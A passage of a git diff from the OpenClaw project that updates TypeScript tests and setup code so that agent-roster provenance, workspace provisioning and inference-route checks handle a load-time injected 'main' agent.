sourceConfig, +): ConfigSnapshot { return { exists: hash !== null, valid: true, path: "/tmp/openclaw.json", hash, - config, - sourceConfig: config, - runtimeConfig: config, + parsed: structuredClone(sourceConfig), + sourceConfigBeforeMigrations: structuredClone(sourceConfig), + config: runtimeConfig, + sourceConfig: runtimeConfig, + runtimeConfig, issues: [], }; } @@ -218,7 +238,12 @@ describe("applySystemAgentModelSelection", () => { it("pins the verified credential without creating a global visibility map", async () => { const result = await applySystemAgentModelSelection({ - config: { agents: { defaults: { model: "openai/gpt-5.5" } } }, + config: { + agents: { + defaults: { model: "openai/gpt-5.5" }, + entries: { main: { default: true } }, + }, + }, model: "openai/gpt-5.5", authProfileId: "openai:verified", }); @@ -233,20 +258,36 @@ describe("applySystemAgentSetup transaction boundaries", () => { vi.resetAllMocks(); mocks.events.length = 0; const config: OpenClawConfig = { - agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, }; mocks.state.initialSnapshot = snapshot("probe", config); mocks.state.commitConfig = structuredClone(config); mocks.state.commitSnapshot = snapshot("probe", config); mocks.state.commitPreviousHash = "probe"; mocks.state.persistedConfig = undefined; + mocks.ensureOnboardingAgent.mockImplementation(async ({ config: current, name, workspace }) => { + const id = name === "Research Buddy" ? "research-buddy" : name.toLowerCase(); + const next = { + ...current, + agents: { + ...current.agents, + entries: { [id]: { default: true, workspace, agentDir: `/agents/${id}` } }, + }, + }; + mocks.state.persistedConfig = next; + return { config: next, agentId: id, bootstrapPending: true }; + }); mocks.readSnapshot.mockImplementation(async () => mocks.state.initialSnapshot); mocks.readVerifiedSnapshot.mockImplementation(async () => mocks.state.initialSnapshot); mocks.readVerifiedSnapshotWithPluginMetadata.mockImplementation(async () => ({ snapshot: await mocks.readVerifiedSnapshot(), })); mocks.commit.mockImplementation(async (params: { transform: CommitTransform }) => { - const result = await params.transform(structuredClone(mocks.state.commitConfig), { + const currentConfig = structuredClone(mocks.state.commitConfig); + const result = await params.transform(currentConfig, { previousHash: mocks.state.commitPreviousHash, snapshot: mocks.state.commitSnapshot, attempt: 0, @@ -292,6 +333,11 @@ describe("applySystemAgentSetup transaction boundaries", () => { mocks.ensureGatewayService.mockResolvedValue({ installDaemon: false }); mocks.refreshPluginRegistry.mockResolvedValue(undefined); mocks.updateExecApprovals.mockResolvedValue(undefined); + mocks.verifySetupInferenceConfig.mockResolvedValue({ + ok: true, + modelRef: "openai/gpt-5.5", + latencyMs: 1, + }); }); it.each([ @@ -300,21 +346,26 @@ describe("applySystemAgentSetup transaction boundaries", () => { ])( "rejects initial $expected -> $actual revision drift before writing", async ({ expected, actual }) => { - mocks.state.initialSnapshot = snapshot(actual, {}); + mocks.state.initialSnapshot = snapshot( + actual, + {}, + { agents: { entries: { main: { default: true } } } }, + ); await expect( applySystemAgentSetup(baseParams({ expectedConfigHash: expected })), ).rejects.toThrow("config changed while AI access was being tested"); expect(mocks.commit).not.toHaveBeenCalled(); + expect(mocks.state.persistedConfig).toBeUndefined(); expect(mocks.ensureWorkspace).not.toHaveBeenCalled(); }, ); - it("preserves fresh-setup behavior for an explicitly verified absent revision", async () => { - const absent = snapshot(null, {}); + it("commits a fresh injected roster before provisioning its workspace", async () => { + const absent = snapshot(null, {}, { agents: { entries: { main: { default: true } } } }); mocks.state.initialSnapshot = absent; - mocks.state.commitConfig = {}; + mocks.state.commitConfig = { agents: { entries: { main: { default: true } } } }; mocks.state.commitSnapshot = absent; mocks.state.commitPreviousHash = null; @@ -323,14 +374,18 @@ describe("applySystemAgentSetup transaction boundaries", () => { expect(result.configHashBefore).toBeNull(); expect(result.bootstrapPending).toBe(true); expect(mocks.state.persistedConfig).toMatchObject({ - agents: { defaults: { workspace: "/tmp/openclaw-workspace" } }, + agents: { + defaults: { workspace: "/tmp/openclaw-workspace" }, + entries: { main: { default: true } }, + }, }); + expect(mocks.events).toEqual(["commit", "workspace"]); }); it("does not mistake a proposal-created roster for an existing fleet", async () => { - const absent = snapshot(null, {}); + const absent = snapshot(null, {}, { agents: { entries: { main: { default: true } } } }); mocks.state.initialSnapshot = absent; - mocks.state.commitConfig = {}; + mocks.state.commitConfig = { agents: { entries: { main: { default: true } } } }; mocks.state.commitSnapshot = absent; mocks.state.commitPreviousHash = null; @@ -338,16 +393,96 @@ describe("applySystemAgentSetup transaction boundaries", () => { baseParams({ expectedConfigHash: null, workspace: "/tmp/requested-workspace", - configPatch: { agents: { entries: { main: {} } } }, + configPatch: { agents: { entries: { main: { default: true } } } }, }), ); expect(mocks.state.persistedConfig?.agents).toMatchObject({ defaults: { workspace: "/tmp/requested-workspace" }, - entries: { main: {} }, + entries: { main: { default: true } }, }); }); + it("configures the requested workspace for a persisted pre-roster config", async () => { + const authoredConfig: OpenClawConfig = { + agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + }; + const preRosterRuntime: OpenClawConfig = { + agents: { + ...authoredConfig.agents, + entries: { main: { default: true, agentDir: "/agents/main" } }, + }, + }; + const preRosterSnapshot = snapshot("probe", authoredConfig, preRosterRuntime); + mocks.state.initialSnapshot = preRosterSnapshot; + mocks.state.commitConfig = structuredClone(preRosterRuntime); + mocks.state.commitSnapshot = preRosterSnapshot; + + await applySystemAgentSetup(baseParams({ workspace: "/tmp/requested-workspace" })); + + expect(mocks.state.persistedConfig?.agents).toMatchObject({ + defaults: { + model: { primary: "openai/gpt-5.5" }, + workspace: "/tmp/requested-workspace", + }, + entries: { main: { default: true } }, + }); + }); + + it.each([ + { label: "entries", agents: { entries: {} } }, + { label: "list", agents: { list: [] } }, + ])("treats an authored empty $label roster as bootstrap", async ({ agents }) => { + const authoredConfig: OpenClawConfig = { + agents: { + ...agents, + defaults: { model: { primary: "openai/gpt-5.5" } }, + }, + }; + const emptyRosterRuntime: OpenClawConfig = { + agents: { + ...authoredConfig.agents, + list: undefined, + entries: { main: { default: true, agentDir: "/agents/main" } }, + }, + }; + const emptyRosterSnapshot = snapshot("probe", authoredConfig, emptyRosterRuntime); + mocks.state.initialSnapshot = emptyRosterSnapshot; + mocks.state.commitConfig = structuredClone(emptyRosterRuntime); + mocks.state.commitSnapshot = emptyRosterSnapshot; + + await applySystemAgentSetup(baseParams({ workspace: "/tmp/requested-workspace" })); + + expect(mocks.state.persistedConfig?.agents).toMatchObject({ + defaults: { + model: { primary: "openai/gpt-5.5" }, + workspace: "/tmp/requested-workspace", + }, + entries: { main: { default: true } }, + }); + }); + + it("preserves fleet workspace ownership when the roster comes from an include", async () => { + const config: OpenClawConfig = { + agents: { + defaults: { model: { primary: "openai/gpt-5.5" }, workspace: "/tmp/current-workspace" }, + entries: { main: { default: true } }, + }, + }; + const includedRosterSnapshot = { + ...snapshot("probe", config), + parsed: { agents: { $include: "./agents.json5" } }, + sourceConfigBeforeMigrations: config, + }; + mocks.state.initialSnapshot = includedRosterSnapshot; + mocks.state.commitConfig = structuredClone(config); + mocks.state.commitSnapshot = includedRosterSnapshot; + + await applySystemAgentSetup(baseParams({ workspace: "/tmp/requested-workspace" })); + + expect(mocks.state.persistedConfig?.agents?.defaults?.workspace).toBe("/tmp/current-workspace"); + }); + it("keeps the fleet workspace and provisions the configured default agent", async () => { const config = { agents: { @@ -439,7 +574,11 @@ describe("applySystemAgentSetup transaction boundaries", () => { expect(mocks.ensureWorkspace).not.toHaveBeenCalled(); }); - it.each([ + it.each<{ + name: string; + runtimeConfig: OpenClawConfig; + error: string; + }>([ { name: "default agent", runtimeConfig: { @@ -453,7 +592,10 @@ describe("applySystemAgentSetup transaction boundaries", () => { { name: "default model", runtimeConfig: { - agents: { defaults: { model: { primary: "anthropic/claude-opus-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-opus-4-6" } }, + entries: { main: { default: true } }, + }, }, error: "default model changed", }, @@ -517,7 +659,6 @@ describe("applySystemAgentSetup transaction boundaries", () => { expect(mocks.state.persistedConfig).toMatchObject({ agents: { defaults: { - workspace: "/tmp/openclaw-workspace", maxConcurrent: 7, model: { primary: "openai/gpt-5.5" }, }, @@ -530,10 +671,13 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("rejects route drift before opening the config transaction", async () => { const current = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, } satisfies OpenClawConfig; const verified = { - agents: { defaults: { model: "anthropic/claude-opus-4-8" } }, + agents: { + defaults: { model: "anthropic/claude-opus-4-8" }, + entries: { main: { default: true } }, + }, } satisfies OpenClawConfig; mocks.state.initialSnapshot = snapshot("probe", current); mocks.readVerifiedSnapshot.mockResolvedValue(snapshot("probe", current)); @@ -549,7 +693,7 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("rejects resolved source drift hidden behind an unchanged root hash", async () => { const stale = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, gateway: { port: 18789 }, } satisfies OpenClawConfig; const current = { @@ -570,7 +714,7 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("rejects a setup candidate that changes the exact verified route identity", async () => { const initial = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, } satisfies OpenClawConfig; const initialSnapshot = snapshot("probe", initial); mocks.state.initialSnapshot = initialSnapshot; @@ -593,7 +737,7 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("rebuilds Gateway settings from the snapshot that wins a transaction retry", async () => { const initial = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, gateway: { port: 18789, bind: "loopback", @@ -678,10 +822,13 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("revalidates the verified route after the config write", async () => { const initial = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, } satisfies OpenClawConfig; const drifted = { - agents: { defaults: { model: "anthropic/claude-opus-4-8" } }, + agents: { + defaults: { model: "anthropic/claude-opus-4-8" }, + entries: { main: { default: true } }, + }, } satisfies OpenClawConfig; const initialSnapshot = snapshot("probe", initial); const driftedSnapshot = snapshot("persisted", drifted); @@ -701,9 +848,10 @@ describe("applySystemAgentSetup transaction boundaries", () => { snapshot: initialSnapshot, attempt: 0, }); - mocks.state.persistedConfig = drifted; + const persistedDrift = drifted; + mocks.state.persistedConfig = persistedDrift; return { - nextConfig: drifted, + nextConfig: persistedDrift, path: "/tmp/openclaw.json", previousHash: "probe", persistedHash: "persisted", @@ -723,7 +871,7 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("accepts persisted plugin defaults that match the verified runtime route", async () => { const pluginMetadataSnapshot = codexPluginMetadataSnapshot("agent"); const sourceConfig = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, plugins: { entries: { codex: { @@ -766,10 +914,13 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("rejects a materialized route that differs from the inference proof", async () => { const sourceConfig = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, } satisfies OpenClawConfig; const materializedConfig = { - agents: { defaults: { model: "anthropic/claude-opus-4-8" } }, + agents: { + defaults: { model: "anthropic/claude-opus-4-8" }, + entries: { main: { default: true } }, + }, } satisfies OpenClawConfig; const verifiedSnapshot = snapshot("probe", sourceConfig); const persistedSnapshot = () => { @@ -810,7 +961,7 @@ describe("applySystemAgentSetup transaction boundaries", () => { it("stops stale continuation before the next persistent effect", async () => { const initial = { - agents: { defaults: { model: "openai/gpt-5.5" } }, + agents: { defaults: { model: "openai/gpt-5.5" }, entries: { main: { default: true } } }, auth: { order: { openai: ["openai:verified"] } }, } satisfies OpenClawConfig; const initialSnapshot = snapshot("probe", initial); @@ -877,15 +1028,27 @@ describe("applySystemAgentSetup transaction boundaries", () => { ...snapshot("probe", mocks.state.commitConfig), sourceConfig, }; - const finalizeConfig = vi.fn((config: OpenClawConfig, source: OpenClawConfig) => ({ - ...config, - plugins: source.plugins, - })); + const finalizeConfig = vi.fn((config: OpenClawConfig, source: OpenClawConfig) => { + const { list: _legacyList, ...agents } = config.agents ?? {}; + return { + ...config, + agents: { + ...agents, + entries: { ops: { default: true, workspace: "/tmp/finalized-ops" } }, + }, + plugins: source.plugins, + }; + }); await applySystemAgentSetup(baseParams({ expectedConfigHash: "probe", finalizeConfig })); expect(finalizeConfig).toHaveBeenCalledWith(expect.any(Object), sourceConfig); expect(mocks.state.persistedConfig?.plugins).toEqual(sourceConfig.plugins); + expect(mocks.ensureWorkspace).toHaveBeenCalledWith( + "/tmp/finalized-ops", + runtime, + expect.objectContaining({ agentId: "ops" }), + ); }); it("returns visible post-commit workspace, approval, registry, and service failures", async () => { diff --git a/src/system-agent/setup-apply.ts b/src/system-agent/setup-apply.ts index d8c8ffab0382..20e98a33ed7b 100644 --- a/src/system-agent/setup-apply.ts +++ b/src/system-agent/setup-apply.ts @@ -1,7 +1,8 @@ // Applies OpenClaw's conversational setup: config, workspace files, gateway. import { isDeepStrictEqual } from "node:util"; -import { listAgentEntries } from "../agents/agent-scope-config.js"; +import { listAgentEntries, toAgentEntriesRecord } from "../agents/agent-scope-config.js"; import { resolveOnboardingAgentTarget } from "../commands/onboard-agent-target.js"; +import { hasResolvedRosterBeforeMigrations } from "../config/agent-roster-provenance.js"; import { readConfigFileSnapshot, readConfigFileSnapshotWithPluginMetadata, @@ -149,12 +150,8 @@ function applySystemAgentModelSelectionWithModules( const nextConfig = structuredClone(params.config); const targetAgentId = params.targetAgentId ? normalizeAgentId(params.targetAgentId) : undefined; const agentId = targetAgentId ?? agentScope.resolveDefaultAgentId(nextConfig); - if ( - targetAgentId && - !Object.keys(nextConfig.agents?.entries ?? {}).some( - (entryId) => normalizeAgentId(entryId) === targetAgentId, - ) - ) { + const roster = agentScope.listAgentEntries(nextConfig); + if (targetAgentId && !roster.some((entry) => normalizeAgentId(entry.id) === targetAgentId)) { throw new Error(`Could not resolve configured agent "${targetAgentId}".`); } // A targeted selection always lands on the agent entry; the default-route @@ -164,24 +161,27 @@ function applySystemAgentModelSelectionWithModules( ); nextConfig.agents ??= {}; nextConfig.agents.defaults ??= {}; + const agentDefaults = nextConfig.agents.defaults; const target = modelConfig.resolveModelTarget({ raw: params.model, cfg: nextConfig }); const key = modelConfig.upsertCanonicalModelConfigEntry({}, target); - const configuredVisibleModels = nextConfig.agents.defaults.models; + const configuredVisibleModels = agentDefaults.models; if (configuredVisibleModels && Object.keys(configuredVisibleModels).length > 0) { // An authored global visibility map is restrictive. Extend it for the // approved selection; never create one merely to carry runtime metadata. const defaultModels = { ...configuredVisibleModels }; modelConfig.upsertCanonicalModelConfigEntry(defaultModels, target); - nextConfig.agents.defaults.models = defaultModels; + agentDefaults.models = defaultModels; } - nextConfig.agents.entries ??= {}; + const agentEntries = toAgentEntriesRecord(roster); + if (writesAgent || params.agentRuntimeId) { + const { list: _legacyList, ...agentConfig } = nextConfig.agents; + nextConfig.agents = { ...agentConfig, entries: agentEntries }; + } const agentEntryKey = - Object.keys(nextConfig.agents.entries).find( - (entryId) => normalizeAgentId(entryId) === agentId, - ) ?? agentId; - let agent = nextConfig.agents.entries[agentEntryKey]; + roster.find((entry) => normalizeAgentId(entry.id) === agentId)?.id ?? agentId; + let agent = agentEntries[agentEntryKey]; if (writesAgent) { if (!agent) { throw new Error(`Could not resolve configured default agent "${agentId}".`); @@ -194,7 +194,7 @@ function applySystemAgentModelSelectionWithModules( if (params.agentRuntimeId) { if (!agent) { agent = { default: true }; - nextConfig.agents.entries[agentEntryKey] = agent; + agentEntries[agentEntryKey] = agent; } const agentModels = { ...agent.models }; const agentKey = modelConfig.upsertCanonicalModelConfigEntry(agentModels, target); @@ -214,9 +214,9 @@ function applySystemAgentModelSelectionWithModules( nextModels[modelKey] = entry; return nextModels; }; - const defaultModels = nextConfig.agents.defaults.models; + const defaultModels = agentDefaults.models; if (defaultModels && Object.keys(defaultModels).length > 0) { - nextConfig.agents.defaults.models = clearRuntimePin(defaultModels); + agentDefaults.models = clearRuntimePin(defaultModels); } if (agent?.models && Object.keys(agent.models).length > 0) { agent.models = clearRuntimePin(agent.models); @@ -379,9 +379,18 @@ export async function applySystemAgentSetup( const prompter = createQuickstartNotePrompter(runtime); const { configureGatewayForSetup } = await import("../wizard/setup.gateway-config.js"); - const buildSetupCandidate = async (currentBaseConfig: OpenClawConfig) => { - const workspaceConflict = resolveOnboardingWorkspaceConflict(currentBaseConfig, workspace); - const currentHasRoster = listAgentEntries(currentBaseConfig).length > 0; + const buildSetupCandidate = async ( + currentBaseConfig: OpenClawConfig, + hasAuthoredRosterEntries: boolean, + ) => { + const roster = listAgentEntries(currentBaseConfig); + // Load-time injection and migration may decorate the synthesized main entry. + // Authored roster provenance, never the resulting entry shape, establishes a fleet. + const isBootstrapRoster = !hasAuthoredRosterEntries; + const workspaceConflict = isBootstrapRoster + ? undefined + : resolveOnboardingWorkspaceConflict(currentBaseConfig, workspace); + const currentHasRoster = hasAuthoredRosterEntries && roster.length > 0; const allowWorkspaceWrite = params.allowWorkspaceChange || (!workspaceConflict && !currentHasRoster); let setupBaseConfig = currentBaseConfig; @@ -396,9 +405,13 @@ export async function applySystemAgentSetup( setupBaseConfig = applyMergePatch(setupBaseConfig, configPatch) as OpenClawConfig; } if (currentHasRoster) { + const { list: _legacyList, ...agents } = setupBaseConfig.agents ?? {}; setupBaseConfig = { ...setupBaseConfig, - agents: { ...setupBaseConfig.agents, entries: currentBaseConfig.agents?.entries }, + agents: { + ...agents, + entries: toAgentEntriesRecord(roster), + }, }; } const preserveWorkspace = @@ -465,7 +478,10 @@ export async function applySystemAgentSetup( // Rebuild config and Gateway settings from the same locked snapshot. // A retry can preserve unrelated concurrent edits without carrying // stale settings from the losing attempt into service setup or probes. - const setupCandidate = await buildSetupCandidate(currentConfig); + const setupCandidate = await buildSetupCandidate( + currentConfig, + hasResolvedRosterBeforeMigrations(context.snapshot), + ); const finalizedConfig = finalizeConfig ? finalizeConfig(setupCandidate.nextConfig, currentSnapshot.sourceConfig) : setupCandidate.nextConfig; @@ -501,6 +517,7 @@ export async function applySystemAgentSetup( throw new Error("OpenClaw setup committed without resolved Gateway settings."); } const onboardingTarget = resolveOnboardingAgentTarget(nextConfig); + const effectiveWorkspace = onboardingTarget.workspaceDir; if (params.expectedInferenceRoute) { const afterRead = await readConfigFileSnapshotWithPluginMetadata(); const afterSnapshot = afterRead.snapshot; @@ -528,7 +545,7 @@ export async function applySystemAgentSetup( } const lines: string[] = [ - `Workspace: ${shortenHomePath(onboardingTarget.workspaceDir)}`, + `Workspace: ${shortenHomePath(effectiveWorkspace)}`, model ? `Default model: ${model}` : undefined, ].filter((line): line is string => line !== undefined); @@ -554,12 +571,14 @@ export async function applySystemAgentSetup( } }; + const { resolveDefaultAgentId } = await import("../agents/agent-scope.js"); + const effectiveAgentId = resolveDefaultAgentId(nextConfig); const workspaceResult = await runCommittedFollowUp( async () => - await onboardHelpers.ensureWorkspaceAndSessions(onboardingTarget.workspaceDir, runtime, { + await onboardHelpers.ensureWorkspaceAndSessions(effectiveWorkspace, runtime, { + agentId: effectiveAgentId, skipBootstrap: Boolean(nextConfig.agents?.defaults?.skipBootstrap), skipOptionalBootstrapFiles: nextConfig.agents?.defaults?.skipOptionalBootstrapFiles, - agentId: onboardingTarget.agentId, }), (error) => lines.push(`Workspace files: ${formatErrorMessage(error)}`), ); diff --git a/src/system-agent/setup-inference-activate.ts b/src/system-agent/setup-inference-activate.ts index 621c0db8300c..84a259fb5e28 100644 --- a/src/system-agent/setup-inference-activate.ts +++ b/src/system-agent/setup-inference-activate.ts @@ -113,10 +113,12 @@ async function activateSetupInferenceUnredacted( if (snapshot.exists && !snapshot.valid) { throw new Error(invalidSetupConfigError(snapshot)); } - const cfg: OpenClawConfig = snapshot.exists ? (snapshot.runtimeConfig ?? snapshot.config) : {}; - const sourceCfg: OpenClawConfig = snapshot.exists - ? (snapshot.sourceConfig ?? snapshot.config) - : {}; + // Missing-file snapshots still carry the load-time implicit-main roster. + // Setup must probe against that runtime view without treating it as authored config. + const cfg: OpenClawConfig = snapshot.runtimeConfig ?? snapshot.config; + // The source snapshot includes raw compatibility migrations for comparison, + // while the writer still projects changes back onto the untouched authored bytes. + const sourceCfg: OpenClawConfig = snapshot.sourceConfig ?? snapshot.config; const workspace = params.workspace?.trim() ? resolveUserPath(params.workspace) : ( diff --git a/src/system-agent/setup-inference-detect.ts b/src/system-agent/setup-inference-detect.ts index fd25498d0e90..ca1b90e77548 100644 --- a/src/system-agent/setup-inference-detect.ts +++ b/src/system-agent/setup-inference-detect.ts @@ -43,7 +43,7 @@ export async function listManualSetupInferenceOptions( if (snapshot.exists && !snapshot.valid) { throw new Error(invalidSetupConfigError(snapshot)); } - const cfg = snapshot.exists && snapshot.valid ? (snapshot.runtimeConfig ?? snapshot.config) : {}; + const cfg = snapshot.runtimeConfig ?? snapshot.config; const { workspace } = await resolveSetupInferenceWorkspace({ configExists: snapshot.exists, configValid: snapshot.valid, @@ -76,7 +76,7 @@ export async function detectSetupInference( if (snapshot.exists && !snapshot.valid) { throw new Error(invalidSetupConfigError(snapshot)); } - const cfg = snapshot.exists && snapshot.valid ? (snapshot.runtimeConfig ?? snapshot.config) : {}; + const cfg = snapshot.runtimeConfig ?? snapshot.config; const detected = await (deps.detectInferenceBackends ?? detectInferenceBackends)({ config: cfg }); // Gemini CLI has no hard tool-off mode: wildcard exclusions can be // overridden by admin policy and do not stop discovery or MCP startup. diff --git a/src/system-agent/setup-inference-persist.ts b/src/system-agent/setup-inference-persist.ts index 392725e391c8..afc0f57a08f3 100644 --- a/src/system-agent/setup-inference-persist.ts +++ b/src/system-agent/setup-inference-persist.ts @@ -495,7 +495,7 @@ export async function runSetupInferenceTest(params: { result = (await runCli({ sessionId, sessionKey: `temp:setup-inference:${runId}`, - agentId: plan.agentId ?? "openclaw", + agentId: plan.routeAgentId ?? plan.agentId ?? "openclaw", trigger: "manual", sessionFile, workspaceDir: tempDir, @@ -523,7 +523,7 @@ export async function runSetupInferenceTest(params: { result = (await runEmbedded({ sessionId, sessionKey: `temp:setup-inference:${runId}`, - agentId: plan.agentId ?? "openclaw", + agentId: plan.routeAgentId ?? plan.agentId ?? "openclaw", trigger: "manual", sessionFile, workspaceDir: tempDir, diff --git a/src/system-agent/setup-inference.test.ts b/src/system-agent/setup-inference.test.ts index ebe4ab3582f6..529db0f38f04 100644 --- a/src/system-agent/setup-inference.test.ts +++ b/src/system-agent/setup-inference.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { expectDefined } from "@openclaw/normalization-core"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { resolveAgentDir } from "../agents/agent-scope-config.js"; +import { listAgentEntries, resolveAgentDir } from "../agents/agent-scope-config.js"; import { readAuthProfileStoreForTest, removeOAuthTestTempRoot, @@ -83,6 +83,8 @@ vi.mock("../config/config.js", async (importOriginal) => { path: "/tmp/openclaw.json", issues: [], config: {}, + sourceConfig: {}, + runtimeConfig: { agents: { entries: { main: { default: true } } } }, })), }; }); @@ -111,6 +113,9 @@ vi.mock("../commands/onboard-inference.js", async (importActual) => { }); const runtime = { log: () => {}, error: () => {}, exit: () => {} } as never; +const materializedMainRuntimeConfig: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, +}; const testCliRuntimeArtifactFingerprint = "test-cli-runtime-artifact"; const testCodexRuntimeArtifact = { id: "codex-app-server", @@ -386,6 +391,10 @@ function createConfigTransformHarness( }; } +function createPreRosterConfigTransformHarness() { + return createConfigTransformHarness({}, materializedMainRuntimeConfig); +} + describe("applySystemAgentModelSelection", () => { it("pins a verified credential without putting the profile suffix in model metadata", async () => { const result = await applySystemAgentModelSelection({ @@ -396,6 +405,7 @@ describe("applySystemAgentModelSelection", () => { expect(result.agents?.defaults?.model).toBe("openai/gpt-5.5@openai:setup-123"); expect(result.agents?.defaults?.models).toBeUndefined(); + expect(result.agents?.entries).toBeUndefined(); }); it("overrides higher-priority runtime metadata on an inheriting default agent", async () => { @@ -1010,7 +1020,7 @@ describe("activateSetupInference", () => { it("reports an audit warning without turning a committed setup into a failure", async () => { mocks.appendAudit.mockRejectedValueOnce(new Error("audit directory is read-only")); const error = vi.fn(); - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const result = await activateSetupInference({ kind: "claude-cli", @@ -1024,7 +1034,7 @@ describe("activateSetupInference", () => { hash: "setup-config-hash", config: {}, sourceConfig: {}, - runtimeConfig: {}, + runtimeConfig: materializedMainRuntimeConfig, })) as never, runCliAgent: vi.fn(successfulRunner("claude-cli", "claude-opus-5")) as never, transformConfigWithPendingPluginInstalls: configHarness.transform as never, @@ -1045,7 +1055,7 @@ describe("activateSetupInference", () => { }); it("lets an enclosing persistent operation own the setup audit", async () => { - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const result = await activateSetupInference({ kind: "claude-cli", @@ -1112,7 +1122,7 @@ describe("activateSetupInference", () => { expect(runCliAgent).toHaveBeenCalledOnce(); expect(runCliAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentId: "openclaw", + agentId: "ops", agentDir: "/tmp/openclaw-ops-agent", executionMode: "side-question", disableTools: true, @@ -1120,7 +1130,7 @@ describe("activateSetupInference", () => { }), ); const probeConfig = runCliAgent.mock.calls[0]?.[0].config; - expect(probeConfig?.agents?.list?.find((agent) => agent.id === "openclaw")).toEqual({ + expect(listAgentEntries(probeConfig ?? {}).find((agent) => agent.id === "openclaw")).toEqual({ id: "openclaw", params: { temperature: 0.2 }, tools: { allow: ["read"], deny: ["exec"] }, @@ -1133,7 +1143,7 @@ describe("activateSetupInference", () => { }); it("rejects an unattested successful candidate before persisting its model", async () => { - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const result = await activateSetupInference({ kind: "claude-cli", surface: "gateway", @@ -1158,7 +1168,7 @@ describe("activateSetupInference", () => { const config = { agents: { defaults: { model: "openai/gpt-5.5" } }, } satisfies OpenClawConfig; - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const result = await activateSetupInference({ kind: "existing-model", surface: "gateway", @@ -1180,7 +1190,7 @@ describe("activateSetupInference", () => { }); it("keeps a committed success when temporary cleanup fails", async () => { - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const runtimeLog = vi.fn(); const result = await activateSetupInference({ kind: "claude-cli", @@ -1244,12 +1254,19 @@ describe("activateSetupInference", () => { it("reconciles a config write that committed before its writer threw", async () => { let committedConfig: OpenClawConfig | undefined; - const readConfigFileSnapshot = vi.fn(async () => ({ - exists: true, - valid: true, - config: committedConfig ?? {}, - runtimeConfig: committedConfig ?? {}, - })); + const readConfigFileSnapshot = vi.fn(async () => { + const sourceConfig = committedConfig ?? {}; + return { + exists: true, + valid: true, + config: sourceConfig, + sourceConfig, + runtimeConfig: { + ...sourceConfig, + agents: { ...sourceConfig.agents, entries: { main: { default: true } } }, + }, + }; + }); const transformConfig = vi.fn( async (params: { transform: ( @@ -1258,7 +1275,15 @@ describe("activateSetupInference", () => { ) => Promise<{ nextConfig: OpenClawConfig }>; }) => { committedConfig = ( - await params.transform({}, { snapshot: { config: {}, runtimeConfig: {} } }) + await params.transform( + {}, + { + snapshot: { + config: materializedMainRuntimeConfig, + runtimeConfig: materializedMainRuntimeConfig, + }, + }, + ) ).nextConfig; throw new Error("simulated post-write failure"); }, @@ -1281,7 +1306,7 @@ describe("activateSetupInference", () => { }); it("persists only the verified model before OpenClaw configures the rest", async () => { - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const result = await activateSetupInference({ kind: "claude-cli", @@ -1306,6 +1331,40 @@ describe("activateSetupInference", () => { expect(persistedConfig.gateway).toBeUndefined(); }); + it("uses the materialized runtime roster when activating from a missing config file", async () => { + const runtimeConfig: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, + }; + const configHarness = createConfigTransformHarness(runtimeConfig, runtimeConfig); + + const result = await activateSetupInference({ + kind: "claude-cli", + surface: "cli", + runtime, + deps: { + readConfigFileSnapshot: vi.fn(async () => ({ + exists: false, + valid: true, + path: "/tmp/openclaw.json", + config: runtimeConfig, + sourceConfig: runtimeConfig, + runtimeConfig, + })) as never, + runCliAgent: vi.fn(successfulRunner("claude-cli", "claude-opus-5")) as never, + transformConfigWithPendingPluginInstalls: configHarness.transform as never, + createTempDir: makeTempDir, + }, + }); + + expect(result).toMatchObject({ ok: true, modelRef: "claude-cli/claude-opus-5" }); + expect(configHarness.current()).toMatchObject({ + agents: { + defaults: { model: "claude-cli/claude-opus-5" }, + entries: { main: { default: true } }, + }, + }); + }); + it.each([ { name: "auto-enables the lean surface for a verified local model", @@ -1706,7 +1765,7 @@ describe("activateSetupInference", () => { }); it("returns an auth failure when the verified owner drifts during persistence", async () => { - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const result = await activateSetupInference({ kind: "openai-api-key", surface: "gateway", @@ -1735,7 +1794,7 @@ describe("activateSetupInference", () => { }); it("revalidates a stable CLI runtime owner at the config commit boundary", async () => { - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const resolveCliRuntimeOwnerFingerprint = vi.fn(async () => "test-runtime-owner"); const result = await activateSetupInference({ @@ 